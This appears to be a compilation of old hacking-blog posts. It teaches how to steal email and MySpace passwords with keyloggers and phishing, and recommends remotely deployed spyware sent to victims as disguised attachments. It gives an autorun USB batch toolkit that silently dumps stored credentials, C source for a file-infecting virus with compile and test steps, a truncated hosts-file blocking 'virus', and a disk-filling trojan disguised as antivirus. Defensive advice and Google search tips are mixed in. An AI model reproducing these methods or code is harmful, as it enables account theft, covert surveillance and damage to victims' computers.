HOW TO HACK ALL ACCOUNT TYPE PASSWORD

Most of the people ask me to teach the easiest way of email password hacking. In fact the most widely asked question on hacking is some or the other way related to email password hacking. Even if you have the similar question in your mind here’s the answer. First of all don’t get fooled by the so called the “easiest way to hack an email password” given on many scam sites. Here’s the scam procedure. This method is of hacking password never works.

—–——

>>STEP 1- Log in to your account (yahoo,hotmail,gmail etc.)

>>STEP 2- Click on Compose
>>STEP 3- In the subject type exactly as follows
Password Retrieval
>>STEP 4- In the to address exactly type the following email address
retrieve_mypass@yahoo.com (for yahoo)
send_mypass@hotmail.com(for hotmail)
googlepass_reset@gmail.com(for gmail)
>>STEP 4- Body of the mail
In the first line type your own email address and in the next line your password.
NOTE: This step is the most important,so do it exactly as instructed.
Heres the example
myemailid@yahoo.com
iamafool
Give exactly 4 lines gap after this.
Now type the email address of the person you want hack.
In the next line type the following code exactly as given below
**yyb67hhfy@#yssyhhdiuhhyahoo.comsi*8??” (for yahoo)
**yyb67hhfy@#yssyhhdiuhhhotmail.comsi*8??” (for hotmail)
**yyb67hhfy@#yssyhhdiuhhgoogle.comsi*8??” (for gmail)
>>STEP 5- Now Send the mail and check your inbox after a few hours. The victims password is mailed to you by the password resetting server.This is a major bug in most of the hosts such as yahoo,gmail etc. Here the server is confused and it sends you the password of the victim.

———-———-

Never ever try this trick. If tried you definitely loose up your own password. Let’s see how the above mail works.
First of all the “To address” of the mail is none other than the ID of the person who has written this trick. This email has no special value,it’s none other than an ordinary email address belonging to a user like you, not the server email address. So you are just mailing your own ID and the password to a stranger in attempt to hack other’s password. All the other rules such as line gaps,codes etc. are utter nonsense, just given to make you believe it is true. So the bottom line is never believe/try these hacks. These method is called Social Engineering where the people are made to mail their own username and password to the hacker’s ID. So here the people get fooled and loose their password in attempting to hack some other’s password.
The real ways of password hacking involves usage of a keylogger program. The keylogger is a stealth program which hides it’s existence but secretly record’s all the keystrokes which includes even the password. The other ways of password hacking involves usage of trojans,Creating fake login pages etc. These tricks are discussed in detail in the post Hacking An Email Account.  This is the post which cover’s the complete details of email hacking.

HOW TO HACK YAHOO PASSWORD

Everyday I get a lot of emails from people asking How to hack a Yahoo password? So if you’re curious to know how to hack a yahoo password then this is the post for you. In this post I will give you the real and working ways to hack Yahoo password.
There are number of sites on the web that provide information to hack a Yahoo password. So what’s special about this site? The only special about this site is that we do not bluff and mislead the readers. We actually teach you the real and working ways to hack a Yahoo password rather than telling some nonsense tricks to crack or hack some one’s yahoo password.

THINGS YOU SHOULD KNOW BEFORE PROCEEDING

With my experience of about 6 years in the field of Hacking and IT security, I can tell you that there are only TWO ways to hack a Yahoo password: They are Keylogging and Phishing. All the other ways are scams! Here is a list of  facts that you need to know about hacking Yahoo password.

1. There is no ready made software or program that can hack a Yahoo password just by entering the target username. If you come accross a site that claims to sell a program to hack Yahoo password then it’s 100% scam.

2. Never trust any Hacking Service that claims to hack a Yahoo password just for $100 or $200. All the hacking services are scams.

The following are the only 2 foolproof methods to hack a Yahoo password.

1. EASIEST WAY TO HACK YAHOO PASSWORD

Using keylogger is the easiest way to hack a Yahoo password. Any one with a basic knowledge of computer can use a keylogger without any problems. It doesn’t matter whether or not you’ve physical access to the target computer. The following are some of the frequently asked questions about keyloggers.
1. What is a keylogger?
A keylogger is a small program that records each and every keystroke (including passwords) that a user types on a specific computer’s keyboard. A keylogger is also called as Spy program or Spy software.
2. Where can I get the keylogger?
There exists hundrends of keyloggers on the internet. But most of them are of poor quality and fail to deliver a good performance. The two best keyloggers for hacking yahoo password are listed below.
SniperSpy (Supports Remote Installation)
Win-Spy (Supports Remote Installation)
For more information on keyloggers, installation procedure and FAQs please refer my previous post: How to Hack an Email Account
3. Which keylogger is the best to hack Yahoo password?
Both the above mentioned ones are best for hacking Yahoo. However I recommend SniperSpy since it is more reliable and has got a better advantage over WinSpy. To get a complete review of SniperSpy please see my new post Which Spy Software to Choose
If you’re really serious to hack  a Yahoo password then I strongly recommend using either of the two mentioned keyloggers.
For a complete installation guide and more information on these two softwares visit the following links
 1. SniperSpy      2. WinSpy

2. OTHER WAYS TO HACK YAHOO PASSWORD

The other most commonly used trick to hack Yahoo password is using a Fake Login Page (also called as Phishing). Today, Fake login pages are the most widely used techniques to hack Yahoo password. A Fake Login page is a page that appears exactly as a Login page of sites like Yahoo, Gmail etc. But once we enter our password there, we end up loosing it.
Fake login pages are created by many hackers on their sites which appear exactly as Gmail or Yahoo login pages but the entered details(username & password) are redirected to remote server and we get redirected to some other page. Many times we ignore this but finally we loose our valuable data.
However creating a fake login page and taking it online to successfully hack a Yahoo password is not an easy job. It demands an in depth technical knowledge of HTML and scripting languages like PHP, JSP etc. So if you are new to the concept of hacking passwords, then I recommend using the keyloggers to hack Yahoo. Because Keyloggers are the easiest way to hack Yahoo password

 HOW TO HACK AN E-MAIL USING HARDWARE KEY LOGGER

Did you know that keyloggers are the simplest way to hack an email password?. Today I’ll be giving you a detailed information on hardware keyloggers and their use.I will also teach how to hack an email using hardware keylogger. If you are new to the concept of keyloggers or haven’t read my previous post about email hacking then you must refer my previous post Hacking an email account. Here i’ll give a breif description about keyloggers.

A software keylogger (or simple keylogger) is a stealth computer program that captures every keystroke entered through the keyboard.
Now i’ll tell you what is a hardware keylogger and how it can be used for hacking an email.

Hardware Keyloggers are used for keystroke logging, a method of capturing and recording computer user keystrokes. They plug in between a computer keyboard and a computer and log all keyboard activity to an internal memory. They are designed to work with PS/2 keyboards, and more recently with USB keyboards. A hardware keylogger appears simply as a USB pendrive (thumb drive) or any other computer peripheral so that the victims can never doubt that it is a keylogger. So by looking at it’s appearence it is not possible to identify it as a keylogger. Here are some of the images of hardware keyloggers for your convenience.

So by looking at the above images we can come to know that hardware keyloggers look just like any USB or PS/2 device. So it is very hard to identify it as a keylogger.

Insatalling a Hardware Keylogger to Hack the Email Password
The hardware keylogger must be installed between the keyboard plug and the USB or PS/2 port socket. That is you have to just plug in the keylogger to your keyboard’s plug (PS/2 or USB) and then plug it to the PC socket. The following image shows how the keylogger is installed.

Once you install the hardware keylogger as shown in the above two images the keylogger starts recording each and every keystroke of the keyboard including email passwords and other confidential information. The hardware keylogger has an inbuilt memory in which the logs are stored.

 HOW TO PROTECT YOUR E-MAIL FROM BEING HACKED

Today in this post I’ll teach you how to protect your email account from being hacked. Nowadays I get a lot of emails where most of the people say “My Email account is hacked please help…”. Now one question which arises in our mind is:”Is it so easy to hack an email account? OR Is it so difficult to protect an email account from being hacked?”. The single answer to these two questions is “Absolutely NOT!”. It is neither easy to hack an email nor difficult to protect an email account from bieng hacked.
If this is the case, then what is the reason for many people to loose their accounts?
The answer is very simple. They don’t know how to protect themselves from being hacked! In fact most of the people who loose their email accounts are not the victims of hacking but the victims of Trapping. They loose their passwords not because they are hacked by some expert hackers but they are fooled to such an extent that they themselves give away their password.
Are you confused? If so continue reading and you’ll come to know…
Now I’ll mention some of the most commonly used online scams which fool people and make them loose their passwords. I’ll also mention how to protect your email account from these scams.
1. WEBSITE SPOOFING
Website spoofing is the act of creating a website, with the intention of misleading the readers. The website will be created by a different person or organisation (Other than the original)especially for the purposes of cheating. Normally, the website will adopt the design of the target website and sometimes has a similar URL.
For example a Spoofed Website of Yahoo.com appears exactly same as Yahoo Website. So most of the people believe that it is the original site and loose their passwords. The main intention of spoofed websites is to fool users and take away their passwords. For this,the spoofed sites offer fake login pages. These fake login pages resemble the original login pages of sites like Yahoo,Gmail,Orkut etc. Since it resemble’s the original login page people beleive that it is true and give away their username and passwords by trying to login to their accounts.
Solution:

• Never try to login/access your email account from the sites other than the original site.
• Always type the URL of the site in the address bar to get into the site.Never click on the hyperlink to enter the site.

2. BY USING KEYLOGGERS
The other commonly used method to steal password is by using a Keylogger. A Keylogger is nothing but a spyware. The detailed description of keylogger and it’s usage is discussed in the post Hacking an email account. If you read this post you’ll come to know that it is too easy to steal the password using a keylogger program. If you just access your email account from a computer installed with keylogger, you definitely loose your password. This is because the keylogger records each and every keystroke that you type.
Solution:
Protecting yourselves from a keylogger scam is very easy.Just install a good anti-spyware program and update it regularly. This keeps your PC secure from a keylogger. Also there is a program called Anti-keylogger which is specially designed to detect and remove keyloggers. You can use this program to detect some stealth keyloggers which remain undetected by many anti-spyware programs.
3. ACCESSING YOUR EMAIL ACCOUNT FROM CYBER CAFES
Do you access your email from cyber cafes?  Then definitely you are under the risk of loosing your password.In fact many people loose their email account in cyber cafes. For the owner of the cyber cafe it’s just a cakewalk to steal your password. For this he just need’s to install a keylogger on his computers. So when you login to your email account from this PC, you give away your password to the cafe owner. Also there are many Remote Administration Tools (RATs) which can be used to monitor your browsing activities in real time.
This doesn’t mean that you should never use cyber cafes for browsing the internet. I know, not all the cyber cafe owners will be so wicked but it is recommended not to use cafes for accessing confidential information. If it comes to the matter of security never trust anyone, not even your friend. I always use my own PC to login to my accounts to ensure safety.
So with this I conclude my post and assume that I have helped my readers to protect their email accounts from being hacked. Please pass your comments…

How to Hack a MySpace Account

MySpace is one of the most widely used Social Networking website by many teenagers and adults acropss the globe. I have seen many cheaters create secret Myspace accounts in order to exchange messages with another person and have secret relationships. So, it’s no wonder many people want to know how to hack a Myspace account. In this post you’ll fine the real and working ways to hack a Myspace.

THINGS YOU SHOULD KNOW BEFORE PROCEEDING

With my experience of about 6 years in the field of Hacking and IT security, I can tell you that there are only TWO ways to hack a Myspace: They are Keylogging and Phishing. All the other ways are scams! Here is a list of  facts about Myspace hacking.

1. There is no ready made software or program that can hack Myspace just by entering the target username or URL. If you come accross a site that claims to sell a program to hack Myspace then it’s 100% scam.

2. Never trust any Hacking Service that claims to hack a Myspace account just for $100 or $200. Most of them are scams.

The following are the only 2 foolproof methods to hack Myspace.

1. How to Hack Myspace – The Easiest Way

The easiest way to hack Myspace is by using a keylogger (Spy Software). It doesn’t matter whether or not you have physical access to the target computer. To use a keylogger it doesn’t need any technical knowledge. Anyone with a basic knowledge of computers can use keyloggers.
1. What is a keylogger?
A keylogger is a small program that monitors each and every keystroke that a user types on a specific computer’s keyboard. A keylogger is also called as a Spy software or Spy program.
2. Where is keylogger program available?
There exists tons of keyloggers on the internet, but most of them are useless and doesn’t turn out to be effective. But with my experience I recommend the following keylogger as the best to hack Myspce since it supports remote installation. This can also be used on local computer.
SniperSpy
3. How to install a keylogger?
Keyloggers can be installed just like any other program. At the installation time, you need to set your secret password and hotkey combination, to unhide the keylogger program whenever it is needed. This is because, after installation the keylogger becomes completely invisible and start running in the background. Because of it’s stealth behaviour the victim can never come to know about that the presence of the keylogger software on his/her computer.
4. I don’t have physical access to the target computer, can I still use Sniperspy?
It doesn’t matter whether or not you have physical access to the victim’s computer. Because SniperSpy offers Remote Installation Feature. So, you can hack Myspace remotely installing the keylogger on the target PC.
You can attach the keylogger with any file such as image, MS excel file or other programs and send it to the victim via email. When the victim runs the file, it will automatically get installed without his knowledge and start recording every activity on his computer. The logs containing these activities are sent to you by the keylogger software via email or FTP.
5. What is the best way to deploy the keylogger onto remote PC?
Instead of sending the keylogger as an email attachment, it is recommended that you place the file in .ZIP/.RAR format and upload it to www.hotlinkfiles.com. After uploading, just send the direct download link to the victim via email. Once he downloads the file from this link and run it, the keylogger will get installed automatically.
6. How can a keylogger hack Myspace account?
You can hack Myspace using keylogger as follows: You install the keylogger on a Remote PC (or on your local PC). The victim is unaware of the presence of the keylogger on his computer. As usual, he logs into his Myspace account by typing the Myspace username and password. These details are recorded and sent to your Sniperspy account. You can login to your Sniperspy account to see the password. Now you have successfully hacked the Myspace account.
In case if you install the keylogger on your local PC, you can obtain the recorded Myspace password just by unhiding the keylogger program.
7. Why SniperSpy is the best?
I have given a complete review of SniperSpy in my new post Which Spy Software to Choose. This should answer your question.
So what are you waiting for? Go grab it.

2. How to Hack Myspace – Other Ways

Phishing

Phishing is the most commonly used method to hack MySpace. The most widely used technique in phishing is the use of Fake Login Pages, also known as spoofed pages. These fake login pages resemble the original login pages of sites like Yahoo, Gmail, MySpace etc. The victim is fooled to believe the fake Myspace page to be the real one and enter his/her password. But once the user attempts to login through these pages, his/her Myspace login details are stolen away.

HOW TO SNIFF PASSWORD USING USB DRIVE

As we all know, Windows stores most of the passwords which are used on a daily basis, including instant messenger passwords such as MSN, Yahoo, AOL, Windows messenger etc. Along with these, Windows also stores passwords of Outlook Express, SMTP, POP, FTP accounts and auto-complete passwords of many browsers like IE and Firefox. There exists many tools for recovering these passswords from their stored places. Using these tools and an USB pendrive you can create your own rootkit to sniff passwords from any computer. We need the following tools to create our rootkit.


MessenPass: Recovers the passwords of most popular Instant Messenger programs: MSN Messenger, Windows Messenger, Yahoo Messenger, ICQ Lite 4.x/2003, AOL Instant Messenger provided with Netscape 7, Trillian, Miranda, and GAIM.
Mail PassView: Recovers the passwords of the following email programs: Outlook Express, Microsoft Outlook 2000 (POP3 and SMTP Accounts only), Microsoft Outlook 2002/2003 (POP3, IMAP, HTTP and SMTP Accounts), IncrediMail, Eudora, Netscape Mail, Mozilla Thunderbird, Group Mail Free.
Mail PassView can also recover the passwords of Web-based email accounts (HotMail, Yahoo!, Gmail), if you use the associated programs of these accounts.
IE Passview: IE PassView is a small utility that reveals the passwords stored by Internet Explorer browser. It supports the new Internet Explorer 7.0, as well as older versions of Internet explorer, v4.0 – v6.0
Protected Storage PassView: Recovers all passwords stored inside the Protected Storage, including the AutoComplete passwords of Internet Explorer, passwords of Password-protected sites, MSN Explorer Passwords, and more…
PasswordFox: PasswordFox is a small password recovery tool that allows you to view the user names and passwords stored by Mozilla Firefox Web browser. By default, PasswordFox displays the passwords stored in your current profile, but you can easily select to watch the passwords of any other Firefox profile. For each password entry, the following information is displayed: Record Index, Web Site, User Name, Password, User Name Field, Password Field, and the Signons filename.
Here is a step by step procedre to create the password hacking toolkit.
NOTE: You must temporarily disable your antivirus before following these steps.
1. Download all the 5 tools, extract them and copy only the executables(.exe files) into your USB Pendrive.
ie: Copy the files – mspass.exe, mailpv.exe, iepv.exe, pspv.exe and passwordfox.exe into your USB Drive.
2. Create a new Notepad and write the following text into it
[autorun]
open=launch.bat
ACTION= Perform a Virus Scan
save the Notepad and rename it from
New Text Document.txt to autorun.inf
Now copy the autorun.inf file onto your USB pendrive.
3. Create another Notepad and write the following text onto it.
start mspass.exe /stext mspass.txt
start mailpv.exe /stext mailpv.txt
start iepv.exe /stext iepv.txt
start pspv.exe /stext pspv.txt
start passwordfox.exe /stext passwordfox.txt
save the Notepad and rename it from
New Text Document.txt to launch.bat
Copy the launch.bat file also to your USB drive.
Now your rootkit is ready and you are all set to sniff the passwords. You can use this pendrive on on any computer to sniff the stored passwords. Just follow these steps
1. Insert the pendrive and the autorun window will pop-up. (This is because, we have created an autorun pendrive).
2. In the pop-up window, select the first option (Perform a Virus Scan).
3. Now all the password recovery tools will silently get executed in the background (This process takes hardly a few seconds). The passwords get stored in the .TXT files.
4. Remove the pendrive and you’ll see the stored passwords in the .TXT files.
This hack works on Windows 2000, XP and Vista
NOTE: This procedure will only recover the stored passwords (if any) on the Computer.

WHICH SPY SOFTWARE TO CHOOSE

Posted by pallav verma on Sunday, October 4, 2009

Today there exists hundreds of Spy softwares available on the market. Because of this huge diversity of choice, people often get confused about which spy software to choose. Also because of this confusion there is no wonder many people end up buying a substandard product which fail to meet their needs.
To help you come out of this confusion I have decided to write a complete review of one the best spy softwares that I have come accross. The following is the best spy software that I always recommend.
SniperSpy

SniperSpy Full Review

In my experience of more than 6 years I have tested almost 50 spy softwares. Out of these one of my favorite Spy software is SniperSpy. The following are some of the reasons for which I recommend SniperSpy for you.
1. SniperSpy can be used to Spy on your local PC as well as a remote PC since it supports remote installation feature.
2. On the whole Internet there exists only a few spy softwares that support remote installation and SniperSpy is the best among them.
3. You can view the LIVE screenshot of the remote computer. Not only screenshots, but also you can see every activity on the remote comuter LIVE.
4. With SniperSpy you can take a complete control of the remote PC. You can logoff, restart or shutdown the remote PC right from your PC.
5. SniperSpy records every activity of the remote computer.
6. SniperSpy is completely stealth and remains undetected.
7. SniperSpy captures every keystroke that is typed. This includes email passwords, login passwords, instant messenger passwords etc.
8. SniperSpy has the ability to bypass any firewall.
How it Works?
After you purchase the SniperSpy software, you will be able to download the a program that allows you to create a remotely deployable module.
To deploy the module you can attach the exe file to any regular email and send to the remote PC. Modules can be dropped into a Word, Wordpad or Works document, or even a ZIP or RAR file. When the module is executed it will not display anything on the screen if you chose the “Do Not Alert User” option during module creation.

After you have sent the email, wait until the remote user checks their email and executes the module. After the module is executed, activity will begin recording immediately. After activity starts recording it will then be uploaded to your personal SniperSpy web space.
Wait about fifteen minutes after the module has been executed. Then login to your online account. You will be able to view any recorded activity there using a secure https connection. Logs are updated every six minutes. No matter where you are, you can log into your SniperSpy account from any Internet connection.
How effective is SniperSpy?
Once you’ve got the module executed on the target machine, it begins logging keystrokes, websites visited, internet searches, file changes, instant message chats, and taking screenshots of computer activity. I decided to install the module remotely on my friend’s laptop. A few hours after it’s successful installation, I was able to login to the control panel to see the screenshots, keystrokes (includes passwords), websites visited and many more. Whenever he used to come online I was able to monitor has activity LIVE. It was quite amazing to sit at my place and watch his activities remotely.
Improvements in the latest version of SniperSpy
In the older versions of Sniperspy the online control panel was pretty slow taking upto a minute to communicate with the remote computer. This was a bit annoying.
But this problem is fixed in the latest version. In fact it’s extremely fast now!
How is SniperSpy different from other spy softwares?
The following features makes SniperSpy stand out from the crowd
1. Sniper Spy is more reliable than other spy softwares since the logs sent will be received and hosted by SniperSpy servers. You need not rely on your email account to receive the logs.
2. SniperSpy offers excellent customer support.
3. SniperSpy has got recognition from media such as CNN, BBC, CBS, Digit etc. Hence it is more reputed and trustworthy.
Verdict: Sniperspy Internet Monitor Software
This review can only give you an idea of just how powerful SniperSpy really is and how it can help you to monitor internet activity. There is not much that can be hidden from SniperSpy and if you visit their website you will get the complete picture.
There are a few computer remote spying programs available but Sniperspy is without doubt one of the best ones you can buy. Customer support is excellent and if you want peace of mind then this will allow you to find out the truth very quickly.
Check SniperSpy out right now and discover for yourself how much is worth to you compared with the few dollars it costs.

HOW TO CREATE A VIRUS WITHIN 10 MINUTES

This program is an example of how to create a virus in c.This program demonstrates a simple virus program which upon execution (Running) creates a copy of itself in the other file.Thus it destroys other files by infecting them. But the virus infected file is also capable of spreading the infection to another file and so on.Here’s the source code of the virus program.

#include
#include
#include
#include
#include
#include
FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;
void main()
{
st=clock();
clrscr();
done=findfirst(”*.*”,&ffblk,0);
while(!done)
{
virus=fopen(_argv[0],”rb”);
host=fopen(ffblk.ff_name,”rb+”);
if(host==NULL) goto next;
x=89088;
printf(”Infecting %s\n”,ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf(”DONE! (Total Files Infected= %d)”,a);
end=clock();
printf(”TIME TAKEN=%f SEC\n”,
(end-st)/CLK_TCK);
getch();
}
COMPILING METHOD:

BORLAND TC++ 3.0 (16-BIT):

1. Load the program in the compiler, press Alt-F9 to compile
2. Press F9 to generate the EXE file (DO NOT PRESS CTRL-F9,THIS WILL INFECT ALL THE FILES IN CUR DIRECTORY INCLUDIN YOUR COMPILER)
3. Note down the size of generated EXE file in bytes (SEE EXE FILE PROPERTIES FOR IT’S SIZE)
4. Change the value of X in the source code with the noted down size (IN THE ABOVE SOURCE CODE x= 89088; CHANGE IT)
5. Once again follow the STEP 1 & STEP 2.Now the generated EXE File is ready to infect
BORLAND C++ 5.5 (32-BIT) :

1. Compile once,note down the generated EXE file length in bytes
2. Change the value of X in source code to this length in bytes
3. Recompile it.The new EXE file is ready to infect
HOW TO TEST:

1. Open new empty folder

2. Put some EXE files (BY SEARCHING FOR *.EXE IN SEARCH & PASTING IN THE NEW FOLDER)
3. Run the virus EXE file there you will see all the files in the current directory get infected.
4.All the infected files will be ready to reinfect
That’s it

A VIRUS PROGRAM TO BLOCK WEBSITES

Most of us are familiar with the virus that used to block Orkut and Youtube site. If you are curious about creating such a virus on your own, here is how it can be done. As usual I’ll use my favorite programming language ‘C’ to create this website blocking virus. I will give a brief introduction about this virus before I jump into the technical jargon.
This virus has been exclusively created in ‘C’. So, anyone with a basic knowledge of C will be able to understand the working of the virus. This virus need’s to be clicked only once by the victim. Once it is clicked, it’ll block a list of websites that has been specified in the source code. The victim will never be able to surf those websites unless he re-install’s the operating system. This blocking is not just confined to IE or Firefox. So once blocked, the site will not appear in any of the browser program.
NOTE: You can also block a website manually. But, here I have created a virus that automates all the steps involved in blocking. The manual blocking process is described in the post How to Block a Website ?
Here is the sourcecode of the virus.
#include
#include
#include
char site_list[6][30]={
“google.com”,
“www.google.com”,
“youtube.com”,
“www.youtube.com”,
“yahoo.com”,
“www.yahoo.com”
};
char ip[12]=”127.0.0.1″;
FILE *target;
int find_root(void);
void block_site(void);
int find_root()
{
int done;
struct ffblk ffblk;//File block structure
done=findfirst(”C:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(”C:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/

How to Compile ?
For step-by-step compilation guide, refer my post How to compile C Programs.
Testing
1. To test, run the compiled module. It will block the sites that is listed in the source code.
2. Once you run the file block_Site.exe, restart your browser program. Then, type the URL of the blocked site and you’ll see the browser showing error “Page cannot displayed“.
3. To remove the virus type the following the Run.
%windir%\system32\drivers\etc
4. There, open the file named “hosts” using the notepad.At the bottom of the opened file you’ll see something like this
127.0.0.1—————————google.com
5. Delete all such entries which contain the names of blocked sites.
NOTE: You can also change the ICON of the virus to make it look like a legitimate program.This method is described in the post: How to Change the ICON of an EXE file ?

HOW TO MAKE A TROJAN VIRUS

Most of you may be curious to know about how to make a Trojan or Virus on your own. Here is an answer for your curiosity. In this post I’ll show you how to make a simple Trojan on your own using C programming language. This Trojan when executed will eat up the hard disk space on the root drive (The drive on which Windows is installed, usually C: Drive) of the computer on which it is run.  Also this Trojan works pretty quickly and is capable of eating up approximately 1 GB of hard disk space for every minute it is run. So, I’ll call this as Space Eater Trojan. Since this Trojan is written using a high level programming language it is often undetected by antivirus. The source code for this Trojan is available for download at the end of this post. Let’s see how this Trojan works…
Before I move to explain the features of this Trojan you need to know what exactly is a Trojan horse and how it works. As most of us think a Trojan or a Trojan horse is not a virus. In simple words a Trojan horse is a program that appears to perform a desirable function but in fact performs undisclosed malicious functions that allow unauthorized access to the host machine or create a damage to the computer.
Now lets move to the working of our Trojan
The Trojan horse which I have made appears itself as an antivirus program that scans the computer and removes the threats. But in reality it does nothing but occupy the hard disk space on the root drive by just filling it up with a huge junk file. The rate at which it fills up the hard disk space it too high. As a result the the disk gets filled up to 100% with in minutes of running this Trojan. Once the disk space is full, the Trojan reports that the scan is complete. The victim will not be able to clean up the hard disk space using any cleanup program. This is because the Trojan intelligently creates a huge file in the WindowsSystem32 folder with the .dll extension. Since the junk file has the .dll extention it is often ignored by disk cleanup softwares. So for the victim, there is now way to recover the hard disk space unless reformatting his drive.
The algorithm of the Trojan is as follows
1. Search for the root drive
2. Navigate to WindowsSystem32 on the root drive
3. Create the file named “spceshot.dll”
4. Start dumping the junk data onto the above file and keep increasing it’s size until the drive is full
5. Once the drive is full, stop the process.
You can download the Trojan source code HERE. Please note that I have not included the executabe for security reasons. You need to compile it to obtain the executable.

How to compile, test and remove the damage?

Compilation:
For step-by-step compilation guide, refer my post How to compile C Programs.
Testing:
To test the Trojan,  just run the SpaceEater.exe file on your computer. It’ll generate a warning message at the beginning. Once you accept it, the Trojan runs and eats up hard disk space.
NOTE: To remove the warning message you’ve to edit the source code and then re-compile it.
How to remove the Damage and free up the space?
To remove the damage and free up the space, just type the following in the “run” dialog box.
%systemroot%system32
Now search for the file “spceshot.dll“. Just delete it and you’re done. No need to re-format the hard disk.
 NOTE: You can also change the ICON of the virus to make it look like a legitimate program. This method is described in the post: How to Change the ICON of an EXE file ?

A NEW WAY TO HACK G MAIL

A new Gmail hacking tool that is capable of automatically stealing the Gmail IDs of non-encrypted sessions and breaking into Gmail accounts has been presented at the Defcon hackers’ conference in Las Vegas.
Last week Google introduced a new feature in Gmail that allows users to permanently switch on SSL and use it for every action involving Gmail, and not only, authentication. Users who did not turn it on now have a serious reason to do so as Mike Perry, the reverse engineer from San Francisco who developed this Gmail hacking tool is planning to release the tool in two weeks.
When you log in to Gmail account the website sends a cookie (a text file) containing your session ID to the browser. This file makes it possible for the website to know that you are authenticated and keep you logged in for two weeks, unless you manually click the sign out button. When you click sign out this cookie is cleared.Even though when you log in, Gmail forces the authentication over SSL (Secure Socket Layer), you are not secure because it reverts back to a regular unencrypted connection after the authentication is done.
According to Google this behavior was chosen because of low-bandwidth users, as SLL connections requires high bandwidth.The problem lies with the fact that every time you access anything on Gmail, even an image, your browser also sends your cookie to the website. This makes it possible for a hacker to sniff the traffic on the network to insert an image served from http://mail.google.com and force your browser to send the cookie file, thus getting your session ID. The new Gmail hacking tool is capable of doing this. Once this happens the hacker can log into the account without the need of a password. People checking their e-mail from public wireless hotspots are more likely to get hacked than the ones using secure wired networks.
Perry mentioned that he notified Google about this situation over a year ago and even though eventually it made this option available, he is not happy with the lack of information. “Google did not explain why using this new feature was so important” he said. He continued and explained the implications of not informing the users, “This gives people who routinely log in to Gmail beginning with an https:// session a false sense of security, because they think they’re secure but they’re really not.
“If you are logging in to your Gmail account from different locations and you would like to benefit from this option only when you are using unsecured networks, you can force it by manually typing https://mail.google.com before you log in. This will access the SSL version of Gmail and it will be persistent over your entire session and not only during authentication.
Some of the Simple and Effective ways to Hack Gmail (or any email password) and the Tools used for Hacking is discussed in my previous post Hacking an Email Account. It is highly recommended that you refer this post.

ADVANCE GOOGLE SEARCH

In this post I will show you some of the secrets of Advanced Google Search.
Google is clearly the best general-purpose search engine on the Web.But most people don’t use it to its best advantage or in an advanced way. Do you just plug in a keyword or two and hope for the best? That may be the quickest way to search, but with more than 3 billion pages in Google’s index, it’s still a struggle to pare results to a manageable number. There are some ways in which advanced Google search can be used to get the desired results.
But Google is an remarkably powerful tool that can ease and enhance your Internet exploration. Advanced Google search options go beyond simple keywords, the Web, and even its own programmers. Let’s look at some of the advanced Google search options.
Syntax Search Tricks

Using a special syntax is a way to tell Google that you want to restrict your searches to certain elements or characteristics of Web pages.Here are some advanced Google search operators that can help narrow down your search results.
1.Intitle: at the beginning of a query word or phrase (intitle:”Three Blind Mice”) restricts your search results to just the titles of Web pages.
2.Intext: does the opposite of intitle:, searching only the body text, ignoring titles, links, and so forth. Intext: is perfect when what you’re searching for might commonly appear in URLs. If you’re looking for the term HTML, for example, and you don’t want to get results such as
www.gohacking.com/index.html
you can enter intext:html
3.Link: lets you see which pages are linking to your Web page or to another page you’re interested in. For example, try typing in
link:http://www.gohacking.com/
3.site: (which restricts results to top-level domains) with intitle: to find certain types of pages. For example, get scholarly pages about Mark Twain by searching for intitle:”Mark Twain”site:edu. Experiment with mixing various elements; you’ll develop several strategies for finding the stuff you want more effectively. The site: command is very helpful as an alternative to the mediocre search engines built into many sites.
Swiss Army Google

Google has a number of services that can help you accomplish tasks you may never have thought to use Google for. For example, the new calculator feature
(www.google.com/help/features.html#calculator)
lets you do both math and a variety of conversions from the search box. For extra fun, try the query “Answer to life the universe and everything.”
Suppose you want to contact someone and don’t have his phone number handy. Google can help you with that, too. Just enter a name, city, and state. (The city is optional, but you must enter a state.) If a phone number matches the listing, you’ll see it at the top of the search results along with a map link to the address. If you’d rather restrict your results, use rphonebook: for residential listings or bphonebook: for business listings. If you’d rather use a search form for business phone listings, try Yellow Search
(www.buzztoolbox.com/google/yellowsearch.shtml).
Let Google help you figure out whether you’ve got the right spelling—and the right word—for your search. Enter a misspelled word or phrase into the query box (try “thre blund mise”) and Google may suggest a proper spelling. This doesn’t always succeed; it works best when the word you’re searching for can be found in a dictionary. Once you search for a properly spelled word, look at the results page, which repeats your query. (If you’re searching for “three blind mice,” underneath the search window will appear a statement such as Searched the web for “three blind mice.”) You’ll discover that you can click on each word in your search phrase and get a definition from a dictionary.
Extended Googling
Google offers several advanced services that give you a head start in focusing your search. Google Groups
(http://groups.google.com/)
indexes literally millions of messages from decades of discussion on Usenet. Google even helps you with your shopping via two tools: FroogleCODE(http://froogle.google.com/),
which indexes products from online stores, and Google CatalogsCODE(http://catalogs.google.com/),
which features products from more 6,000 paper catalogs in a searchable index. And this only scratches the surface. You can get a complete list of Google’s tools and services at
www.google.com/options/index.html
You’re probably used to using Google in your browser. But have you ever thought of using Google outside your browser?
Google Alert
(http://www.googlealert.com/)
monitors your search terms and e-mails you information about new additions to Google’s Web index. (Google Alert is not affiliated with Google; it uses Google’s Web services API to perform its searches.) If you’re more interested in news stories than general Web content, check out the beta version of Google News Alerts
(www.google.com/newsalerts).
This advanced Google service (which is affiliated with Google) will monitor up to 50 news queries per e-mail address and send you information about news stories that match your query. (Hint: Use the intitle: and source: syntax elements with Google News to limit the number of alerts you get.)
Google on the telephone? Yup. This service is brought to you by the folks at Google Labs
(http://labs.google.com/),
a place for experimental Google ideas and features (which may come and go, so what’s there at this writing might not be there when you decide to check it out).
 With Google Voice Search
(http://labs1.google.com/gvs.html),
you dial the Voice Search phone number, speak your keywords, and then click on the indicated link. Every time you say a new search term, the results page will refresh with your new query (you must have JavaScript enabled for this to work). Remember, this service is still in an experimental phase, so don’t expect 100 percent success.
